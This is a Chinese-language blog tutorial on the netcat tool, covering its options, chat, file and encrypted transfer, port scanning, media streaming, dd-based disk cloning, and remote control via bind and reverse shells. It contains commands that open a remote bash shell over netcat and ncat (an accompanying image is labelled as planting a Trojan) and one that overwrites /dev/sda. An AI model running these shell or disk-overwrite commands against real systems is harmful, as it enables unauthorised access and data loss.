0x01nc

作者: dogo_L1L | 来源:发表于2018-06-15 00:28 被阅读0次

    NetCat

    介绍:

    网络工具中的瑞士军刀—小身材(几M),大智慧(功能强大)

    基本功能:

    1. 监听/传输
    2. 流媒体服务器
    3. 传输文本信息
    4. 传输文件
    5. 远程控制
    6. 远程硬盘克隆

    功能实现:

    帮助文档

    参数: –h
    举例: nc –h
    显示

    OpenBSD netcat (Debian patchlevel 1.130-3)      
    //不同的操作系统的NC有细微的差别 
    usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-O length]
      [-P proxy_username] [-p source_port] [-q seconds] [-s source]
      [-T toskeyword] [-V rtable] [-w timeout] [-X proxy_protocol]
      [-x proxy_address[:port]] [destination] [port]
    //格式
    //以下为基本命令
    Command Summary:
    -4  Use IPv4                        //默认使用IP4格式的地址
    -6  Use IPv6                        //如果要使用IP6格式,要加参数
    -b  Allow broadcast
    -C  Send CRLF as line-ending        //不是-c(小写)
    -D  Enable the debug socket option
    -d  Detach from stdin
    -F  Pass socket fd
    -h  This help text                  //帮助
    -I length   TCP receive buffer length
    -i secs Delay interval for lines sent, ports scanned
    -k  Keep inbound sockets open for multiple connects
    -l  Listen mode, for inbound connects           //监听
    -N  Shutdown the network socket after EOF on stdin
    -n  Suppress name/port resolutions              //连接IP和 端口
    -O length   TCP send buffer length
    -P proxyuser    Username for proxy authentication
    -p port Specify local port for remote connects      //开放端口
    -q secs quit after EOF on stdin and delay of secs   //等待n秒后自动退出连接
    -r  Randomize remote ports
    -S  Enable the TCP MD5 signature option
    -s addr Local source address
    -T toskeyword   Set IP Type of Service
    -t  Answer TELNET negotiation
    -U  Use UNIX domain socket
    -u  UDP mode                                //扫描UDP模式的参数
    -V rtable   Specify alternate routing table
    -v  Verbose                                 //显示详细信息
    -w secs Timeout for connects and final net reads
    -X proto    Proxy protocol: "4", "5" (SOCKS) or "connect"
    -x addr[:port]  Specify proxy address and port
    -Z  DCCP mode
    -z  Zero-I/O mode [used for scanning]               //扫描模式
    Port numbers can be individual or ranges: lo-hi [inclusive]
    

    利用nc作为聊天工具

    1.  A机:nc –lp 333
    2.  B机:nc –nv 192.168.43.74 333
    3.  解释:
        a)  A机打开了333端口(p),并监听(l)333端口
        b)  B机连接(n)了192.168.43.74的333端口,并显示(v)详细信息
    

    结果如图(注意IP地址不同)


    简单互传.png

    将命令输出内容进行传送(部分nc没有-c选项)

    1.  A机:ls –al | nc –lp 333 
    2.  B机:nc –nv 192.168.43.74 333 –q 1
    3.  解释:
        a)  A机:显示详细目录(ls –al)通过管道(|)给nc的333端口
        b)   B机:连接用nc连接指定端口,并延时1秒(1)后断开(q)
    4.  备注:出了点小意外,1秒后没有退出,后来发现-q好像是配合客户端(不是开放端口的那方)使用的
    
    命令显示.png

    扫描模式:(扫描并不准确)

    1.  扫描TCP端口:nc –nvz 192.168.43.74 1-65535
    2.  扫描UDP端口:nc –nvzu 192.168.43.74 1-65535
    3.  解释:
        a)  nc进行IP连接,并显示详细信息,进行端口扫描(z)指定端口(1-65535)
        b)  nc进行IP连接,并显示详细信息,进行端口扫描(z)指定端口(1-65535)的UDP连接
    4.  备注:发现没有端口开放(其实是假的。。。。),如果显示详细信息可能所有端口都会显示信息
    
    命令显示.png

    传送文件

    1.  A:nc –lp 333 >1.mp4
    2.  B:nc –nv 192.168.43.74 333 < hello.mp4 –q 1
    3.  解说:
        a)  A开放并监听333端口,并把数据给1.mp4
        b)  B连接333端口,并把hello.mp4传送过去,并等待1s后自动关闭
    4.  备注:这次自动退出成功
    
    图片传输.png

    加密传文件

    1.  A:nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
    2.  B:mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1
    3.  解说:
        a)  开放端口,得到数据,通过管道,
            把数据解密(mcrypt --flush -Fbqd -a rijndael-256 -m ecb),把解密后的内容给1.mp4
        b)  把文件加密(mcrypt --flush -Fbq -a rijndael-256 -m ecb),通过管道符给nc传送过去
    4.  备注:
        mcrypt系统不一定有,--flush不保存过渡文件,-Fbq(加密)-Fbqd(解密)
        rijndael-256 -m ecb(ECB的256位加密算法)
    

    流媒体服务器

    1.  A: cat 1.mp4 | nc -lp 333
    2.  B: nc –nv 192.168.66.141 333 | mplayer -vo x11 -cache 3000 –
    3.  解说:
        a)  A:把1.mp4的文件显示出来给333端口
        b)  B:把收到的文件交给mplayer用(-vo x11)解码,缓存3000(K)
    4.  额,发现系统并没有mplayer
    

    硬盘克隆(硬盘克隆是把删除的内容,哪些表面删除,实际还在盘里的被标记为删除的文件,也会被克隆)

    1.  A:nc -lp 333 | dd of=/dev/sda
    2.  B:dd if=/dev/sda | nc -nv192.168.66.141 333 –q 1
    3.  解说:
        a)  A:把收到的内容输出到/dev/sda(硬盘)
        b)  B:把/dev/sda的内容进行块拷贝,输出为nc
    

    远程控制(部分其他版本的nc可能没有-c(c小写)的选项)

    1.  A:nc -lp 333 -c bash
    2.  B:nc –nv 192.168.66.141 333
    3.  解说:
        a)  A:把得到的内容传送给bash进行执行(-c)
        b)  B:连接nc,然后执行(ls)
    4.  备注:
    windows使用的是cmd,linux使用的是bash
    
    置入特洛伊.png

    nc的缺陷和改进

    缺陷

    1. 通信的时候不能加密,也就是你开发的端口,大家都可以用
    2. 没有用户验证

    解决

    1. 使用ncat
      基本用法同nc
      有加密通信通道
    2. 举例:
      A:ncat -c bash --allow 192.168.20.14 -vnl 333 --ssl
      B:ncat -nv 1.1.1.1 333 --ssl

    备注:

    ncat是nmap的一部分

    1. nc中可以正向也可以反向传输
      比如:
      正向传输
    A:nc -lp 333 -c bash
    B:nc –nv 192.168.66.141 333
    A开放端口,把监听到的内容进行(bash)执行
    
    反向方向:
    
    A:nc -lp 333 -c bash
    B:nc –nv 192.168.66.141 333 -c bash
    A开放端口,后输入内容,让B进行执行
    

    相关文章

      网友评论

          本文标题:0x01nc

          本文链接:https://www.haomeiwen.com/subject/ymaueftx.html